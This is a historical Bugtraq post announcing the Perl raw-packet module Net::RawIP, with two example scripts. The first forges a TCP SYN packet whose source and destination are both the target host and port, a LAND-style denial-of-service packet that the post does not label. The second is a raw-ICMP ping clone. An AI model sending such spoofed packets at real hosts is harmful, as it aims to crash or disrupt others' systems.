New perl module Net::RawIP

[ksv () GW AL LG UA (Sergey V. Kolychev)]

 Good day.
This is my first bugtraq post.

 I'm just another perl coder ;). I'm writing module which
 can be used for easy manipulating raw ip packets from perl.
 This module have optional feature for manipulating ethernet
 headers.
 Also it included interface for libpcap. It can be used for
 easy writing port scanners,programs for check security,
 network DoS  directly from perl ;)
 I have test my module only on Linux 2.0.3x with glibc
 Just two small examples:

#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i,
                 daddr => $opt_i
                 },
          tcp=> {dest => $opt_p,
                 source => $opt_p,
                 psh => 1,
                 syn => 1}
        });
$a->send;

#!/usr/bin/perl
use Net::RawIP qw(:pcap);
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => 'ns.al.lg.ua', # insert your site here !
                daddr => $ARGV[0]},
         icmp => {type => 8, id => $$}
         });
$device = 'eth0'; # insert your device here !
$filt = 'ip proto \\icmp and dst host ns.al.lg.ua';# insert your site here!
$size = 1500;
$tout = 30;
$pcap = $a->pcapinit($device,$filt,$size,$tout);
$i =0;
if(fork){
loop $pcap,-1,\&dmp,\@a;
}
else{
sleep 2;
for(;;){
$a->set({icmp => {sequence => $i,data => timem()}});
$a->send(1,1);
$i++
}
}
sub dmp{
my $time = timem();
$a->bset(substr($_[2],14));
my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence data)]});
printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f ms\n",length($ar[2])+8,
,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
}

Thanks to Pavel Krauz <kra () cri cz> for hunt,I used some code from it.

 Latest version my module available from
 http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.02b.tar.gz
